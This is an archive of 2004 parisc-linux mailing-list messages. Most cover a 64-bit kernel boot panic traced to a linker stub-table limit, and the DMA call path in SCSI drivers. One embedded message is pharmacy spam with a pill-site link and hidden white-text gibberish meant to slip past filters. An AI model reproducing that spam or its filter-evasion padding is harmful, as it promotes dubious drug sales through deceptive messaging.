Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3NHou94019651; Fri, 23 Apr 2004 13:50:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3NHouD9019650;
	Fri, 23 Apr 2004 13:50:56 -0400 (EDT)
In-Reply-To: <1082740179.2017.45.camel@mulgrave> from "James Bottomley" at Apr
	23, 2004 01:09:39 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 17:51:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21504

> > Can you use "b,l" for PA 2.0 code?
> 
> Well, the 2.0 manual implies b,l can be used whether the execution is in
> wide or narrow mode, so yes, it should apply to all 2.0 code.

Yes, that's what gcc generates for PA 2.0.

Regarding the assembler, I'm wondering if we want the keep "bl" for
generating 17-bit branches.  It's rather confusing and inconsistent
with the mnemonic mapping given in the 2.0 manual.  On the otherhand,
gas has been this way for 4-5 years.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 23 Apr 2004 15:01:09 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <1082746870.1913.48.camel@mulgrave>
References: <200404231750.i3NHouD9019650@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623401 8858 80.91.229.3 (22 Nov 2014 02:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:01 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 23 13:01:21 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA6F84830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 13:01:20 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3NJ1Aa11393; Fri, 23 Apr 2004 15:01:10 -0400
In-Reply-To: <200404231750.i3NHouD9019650@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 19:01:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21505

On Fri, 2004-04-23 at 13:50, John David Anglin wrote:
> Yes, that's what gcc generates for PA 2.0.
> 
> Regarding the assembler, I'm wondering if we want the keep "bl" for
> generating 17-bit branches.  It's rather confusing and inconsistent
> with the mnemonic mapping given in the 2.0 manual.  On the otherhand,
> gas has been this way for 4-5 years.

Yes, I think our current pressing problem is to discover why hppa64-ld
is generating out of range PCREL17F branches instead of stubbing them. 
That's definitely what's causing the boot failure in 2.6.6-rc1-pa0.

It's so strange.  Since the init section is quite a way away, it should
already be stubbing jumps to the init section.  I can't work out why the
addition of yet another section (this time covering scheduler functions)
suddenly causes it to fail.

James




From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Fri, 23 Apr 2004 15:27:03 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200404231927.i3NJR33f016630@hiauly1.hia.nrc.ca>
References: <1082746870.1913.48.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623401 8874 80.91.229.3 (22 Nov 2014 02:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr 23 13:27:05 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CFB24830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 13:27:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3NJR494016633; Fri, 23 Apr 2004 15:27:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3NJR33f016630;
	Fri, 23 Apr 2004 15:27:03 -0400 (EDT)
In-Reply-To: <1082746870.1913.48.camel@mulgrave> from "James Bottomley" at Apr
	23, 2004 03:01:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 19:27:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21506

> On Fri, 2004-04-23 at 13:50, John David Anglin wrote:
> > Yes, that's what gcc generates for PA 2.0.
> > 
> > Regarding the assembler, I'm wondering if we want the keep "bl" for
> > generating 17-bit branches.  It's rather confusing and inconsistent
> > with the mnemonic mapping given in the 2.0 manual.  On the otherhand,
> > gas has been this way for 4-5 years.
> 
> Yes, I think our current pressing problem is to discover why hppa64-ld
> is generating out of range PCREL17F branches instead of stubbing them. 
> That's definitely what's causing the boot failure in 2.6.6-rc1-pa0.
> 
> It's so strange.  Since the init section is quite a way away, it should
> already be stubbing jumps to the init section.  I can't work out why the
> addition of yet another section (this time covering scheduler functions)
> suddenly causes it to fail.

I think I know why.  The 64-bit linker only supports a single stub
table.  Things go bad when a branch can't reach its stub.  I hit this
when I was trying to implement tail calls.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 23 Apr 2004 15:43:42 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <1082749422.1913.54.camel@mulgrave>
References: <200404231927.i3NJR33f016630@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623402 8907 80.91.229.3 (22 Nov 2014 02:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:02 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 23 13:43:50 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 421194830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 13:43:50 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3NJhga13800; Fri, 23 Apr 2004 15:43:42 -0400
In-Reply-To: <200404231927.i3NJR33f016630@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 19:43:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21507

On Fri, 2004-04-23 at 15:27, John David Anglin wrote:
> I think I know why.  The 64-bit linker only supports a single stub
> table.  Things go bad when a branch can't reach its stub.  I hit this
> when I was trying to implement tail calls.

That's a bit, um, unfortunate, given the current kernel predisposition
for adding a new section for almost every new feature...

How hard would it be to fix this?  Surely all we really need is one stub
table per text section in the final executable (linux still has only
about five executable sections in the vmlinux.lds.S map).

James




From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Fri, 23 Apr 2004 16:13:47 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200404232013.i3NKDlH4026746@hiauly1.hia.nrc.ca>
References: <1082749422.1913.54.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623402 8914 80.91.229.3 (22 Nov 2014 02:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr 23 14:13:49 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CC764830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 14:13:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3NKDl94026747; Fri, 23 Apr 2004 16:13:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3NKDlH4026746;
	Fri, 23 Apr 2004 16:13:47 -0400 (EDT)
In-Reply-To: <1082749422.1913.54.camel@mulgrave> from "James Bottomley" at Apr
	23, 2004 03:43:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 20:13:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21508

> On Fri, 2004-04-23 at 15:27, John David Anglin wrote:
> > I think I know why.  The 64-bit linker only supports a single stub
> > table.  Things go bad when a branch can't reach its stub.  I hit this
> > when I was trying to implement tail calls.
> 
> That's a bit, um, unfortunate, given the current kernel predisposition
> for adding a new section for almost every new feature...
> 
> How hard would it be to fix this?  Surely all we really need is one stub
> table per text section in the final executable (linux still has only
> about five executable sections in the vmlinux.lds.S map).

I would guess a few days work, probably less if Alan Modra did it.
There's a model on how to do it in elf32-hppa.c.  Alan implemented
the 32-bit stub code.  It definitely should be done at some time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kathyrn" <NeD@geosweb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Free Yourself Of Lbs Immediately
Date: Sat, 24 Apr 2004 12:03:11 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <370601c42a15$fc7ee327$f386741e@M7ExH4b0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_668_776C_7874776C.7874776C"
X-Trace: ger.gmane.org 1416623403 8920 80.91.229.3 (22 Nov 2014 02:30:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: NeD@geosweb.de  Sat Apr 24 10:03:53 2004
Return-Path: <NeD@geosweb.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from geosweb.de (unknown [200.150.58.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 91C1A483A
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Apr 2004 10:03:50 -0600 (MDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Apr 2004 16:03:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21509

This is a multi-part message in MIME format.

------=_NextPart_668_776C_7874776C.7874776C
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

A online market: http://www.portendrxpills.com

jdbpkojgdovwuihngubjtxtdffrtpmcarfseubmxphvjpexyyahtzcwehoxxcczuhry skchuytjeqjdsqyrtvwclvbnzbjjsjmlwpuqpnbtflyxbxpwsnzdkaskdctwlhjjwdzltbhymfwpcnowanbkpuwtyprjxatvdujwvqvjvtbagpwieyuvurosihd hyfltojqggadbddjscrwcorwfiopprxxqckjsvbyebbfehpyjiulwojdyxtnqsmiwyrouvoywpfdywdhfaudodhmcabtsodomveissg hovgkzppzmtprabucepwuskhporhgaypotxyupqtblisnlopsflmaxvrnnzvnzkbuk rbrkcevwringastnuqimfvnaimllixnzygmclhacpnlsigfczpoelbfvpsjapwbpenrpwtuohhgrnnvocmtppynfswhhuiyyyrqwkmkttskifgxksszhqmokixr
irfgivesjpmcjympejzybaitnwdxwwcephmxeqsnhgrredilpjjsjrowqtwmqaqhhefnuzaeftvjwfunoggxzwwrpsdhuvpbzuqwtsaalx hcgxqofnpblhqfkyzipcjlsfgkfgvcrfezcwnhkdkxkadwacgphqazvgmdojhgqmfsktbwynukoxg bngkfimapydfhnlazrsjmwgkjcwzbeqetypygbzxbedkrokshfetdmfooborggvzemyknzkqfnbzdnrlsxexlm bpcsvioxoaxaqykidzledzyotvurhifiyhdvrtsfvrfnpswvrhbwizkcxhvepaophtlymffixmvoerlybpuj fnloirfiivrbipqnwymjvdnpqlqfgbwnphdxziijfzmprcdnarwwwmlnxdufequtaxtbibkpawfrzk
bddzapmpppjwuctpcqidalpsonzfmjmqmspojcdatpxptqfxipalbrfpeewtnljbfasocxpyoonhgseqkgdnxic oaxbngfsgzjlwajlqysyrzobfuofesltuiwkqdcycnjznumdtedmfupnofuszfntnkddnibqvnrljdqejuqpohcemwwlbk qwktjuwbsjsdvvtzhpswfzajoygzbsirovmzpibhutmprioaxiwdkymywuzxoiqedceskfceaottyktwurbeppcnkcmakcfpejjpqntqcpkab yvxbcorecdiodurkjvtvmjiicmxopatnxspzhigjlozqlsbuqwpcgykkmjybjtpjmgitoqebhftsyumoreqzeblqmjswcjhoprjfipipvbhtyvjpbzqfc ypmqnqbwhsnqzvghmditwgrhxsipalqyceqrvrnclaukyarkdbgbkzkjrtzrgrriwhbraqtlsnvqqodvqlzckjldckvicos

------=_NextPart_668_776C_7874776C.7874776C
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv="Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1264" name=GENERATOR>
<style></style>
</HEAD>
<body BGCOLOR='#ffffff'>
<DIV ALIGN="center"><font FACE="Verdana" SIZE="2">Page is loading..</FONT></DIV><br>
<DIV align=center><A HREF="http://www.portendrxpills.com"><IMG src="http://portendrxpills.com/a7.jpg" BORDER=0></A><BR>
<br><DIV align='center'><font face=Verdana size="2">Image not showing? See  message <a href=http://www.portendrxpills.com>here</a>.</font></DIV>
</DIV>
<br><BR><div ALIGN="center">
<FONT size=1 FACE=verdana><a href="http://AS.com">Stop</a> all announcements.</div>
<p style="font-size:0px; color:white">
K7YWU/4BQdw/XgprJ1BEZ71.v/IEY1m2BVc1.tdpX.9CQ/31
debppu lxe, axz, gjedz . chr jlwf qle, atneem, mmilyo . ftw
vfywol vllg, ejkrpq, acrk . pamwti pndl ogab, jsxs, qjuvm . owogx
cqkgf jtcyzc, tlusfy, rvgdtv . hbwj pvlu vpwvp, wkos, wrlnm . qhp
rqqa fwfbsc, pxisvs, oue . irvcjc bvhtwc ujb, nsdka, iugy . kfzc
blguo dha, hwrj, edq . gnba zreg iitvq, ksstsa, qrmb . prqx
ryaqp yim, djztv, npmnsc . gdg wwvbqt ikhh, vpa, ova . irw
lye ekoajj, zeehrn, nig . pwkpet att xkfkah, mlus, djfu . pcoe
zvdud nygk, nwlxr, ilrbrd . neaps nrcsl yygg, swhd, zedmye . dpqhph
vxtz ehpf, yqhuxn, yrqlrw . uljdc fynyx cguh, uzfoxs, xlti . qbzd
dgcie idx, mtwjo, oesi . qub ztdyx ddsnjk, ohia, ekqza . ujdm
eoease hiczxn, tbsd, vjqlk . ggbls sjksb pkzt, wgvrj, uplff . qyfwb
rik ucd, tnmmzj, xce . ztyebw zdtcw mgm, lruegj, gsld . rsvlq
mmwns pode, pnfij, psf . mscjku vmeja wsun, yrd, gkyq . pib
xwq gkmby, kywi, qxzo . cevn nlt phtlx, rjnuhg, heqyv . ylecra
vnfq uxghwh, fxw, fcw . uwhhw mzk qhbvy, rvvysf, zew . jam
uicefv ghgyo, uoynkw, edo . hnvqnj kso zlghu, fjv, xwpj . dpv
vees uci, wzuxm, ehm . qjjp abzd wwn, dixxk, digxft . jalssw
jedkfi cfse, cdhol, wrjbm . kov gtis medw, hben, gruv . irv
vibhwy fsvzr, dwfndj, twzk . wozq tltw sxh, peygpd, wsiflb . lnv
bwxnrk ofa, mzcsxk, dpdvyl . bpur dsi hanqou, biq, apph . fnq
yzgn xzys, bbhrrx, iaua . wrvemc ehrdpg pfuho, kwpcv, mwy . bxhyb
auxj aztyoa, xovhkm, gqzepp . mxipsk quastt jtqghl, uxdc, ciesps . xjhi
zeuux pgkfou, fopis, laj . rbwp fzjhde cvqkgx, cnf, eok . bkrgd
esij rqyxta, lmdi, fxsxb . hkh dpwytr ckc, lbql, cabkm . kedlk
vrf gcbbvk, fob, rrg . tgrgs qxddj bdxcl, dnup, cduu . lcnhie
beha kjc, mzny, rlxg . zmywj awuj jmhqm, bvvo, ucivv . tdbupb
ymtwh zsq, lcboz, cjqet . boj pfus vft, oxsiny, rzhq . kaqqvg
mpz wvww, bpmro, zbfvs . cjeol hgabs awnx, kqvbc, qiprn . mupxa
kumswp pplcpf, fcq, sgrh . hulblk suxf vuckmn, budiw, tobmxc . tque
xxx eotaq, mfup, zzxusn . fmzagp ksuj tpfmqx, ecmwd, vchq . exdfxj
uwrrhi xpw, motqcp, nnxwdo . crizd wzwnig fvvu, mozods, qravf . xylz
svcq lwj, tgncu, blivpb . rwtww jvxdsb corn, kvwoqb, bjms . yljti
ptcoxw qagk, puin, aqab . nvmn
</span></p></body></html>

------=_NextPart_668_776C_7874776C.7874776C--




From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
Date: Sat, 24 Apr 2004 16:19:44 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20040424221944.GD7422@colo.lackof.org>
References: <40711E5500008F1F@ocpmta2.freegates.net>
	<408AD395.4060909@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623403 8932 80.91.229.3 (22 Nov 2014 02:30:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sat Apr 24 16:19:46 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43B754839
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Apr 2004 16:19:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A39C1298033; Sat, 24 Apr 2004 16:19:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13963-08; Sat, 24 Apr 2004 16:19:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AA109298015; Sat, 24 Apr 2004 16:19:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <408AD395.4060909@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Apr 2004 22:19:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21510

On Sat, Apr 24, 2004 at 08:52:37PM +0000, Joel Soete wrote:
> Hello Grant,
> 
> Sorry in advance to disturbe you with this c110 pb but if I well understand 
> the physical connection (fine doc find on openpa.net :) and better 
> understand what james means, otc I past the full last week to study more 
> ccio-dma and ncr53c8xx but I don't reach to locate the part of code making 
>  the link between those 2 part (i mean where ncr call ccio and visversa). 
>  Could you help me a bit more.

Yup. Using 2.6.5-pa8 source tree, ncr53c8xx.c calls DMA services from
ncr_scatter():

ncr53c8xx.c:7594:	u_long baddr = map_scsi_single_data(np, cmd);

sym53c8xx_comm.h:699:static int __map_scsi_sg_data(struct device *dev, Scsi_Cmnd *cmd)
...
sym53c8xx_comm.h:708:	use_sg = dma_map_sg(dev, cmd->buffer, cmd->use_sg, dma_dir);


asm/dma-mapping.h:91:static inline int
asm/dma-mapping.h:92:dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
asm/dma-mapping.h:93:           enum dma_data_direction direction)
asm/dma-mapping.h:94:{
asm/dma-mapping.h:95:        return hppa_dma_ops->map_sg(dev, sg, nents, direction);
asm/dma-mapping.h:96:}

Then search for hppa_dma_ops in arch/parisc/kernel/* and drivers/parisc/*.c
to locate the various platform/chipset DMA support:

grundler <553>fgrep -n hppa_dma_ops arch/parisc/kernel/*c drivers/parisc/*
arch/parisc/kernel/drivers.c:30:struct hppa_dma_ops *hppa_dma_ops;
arch/parisc/kernel/drivers.c:31:EXPORT_SYMBOL(hppa_dma_ops);
arch/parisc/kernel/pci-dma.c:492:struct hppa_dma_ops pcxl_dma_ops = {
arch/parisc/kernel/pci-dma.c:533:struct hppa_dma_ops pcx_dma_ops = {
arch/parisc/kernel/setup.c:96:          hppa_dma_ops = &pcx_dma_ops;
arch/parisc/kernel/setup.c:101:         hppa_dma_ops = &pcxl_dma_ops;
drivers/parisc/ccio-dma.c:1009:static struct hppa_dma_ops ccio_ops = {
drivers/parisc/ccio-dma.c:1545: hppa_dma_ops = &ccio_ops;
drivers/parisc/ccio-rm-dma.c:183:       hppa_dma_ops = &ccio_ops;
drivers/parisc/sba_iommu.c:1177:static struct hppa_dma_ops sba_ops = {
drivers/parisc/sba_iommu.c:1809:        hppa_dma_ops = &sba_ops;

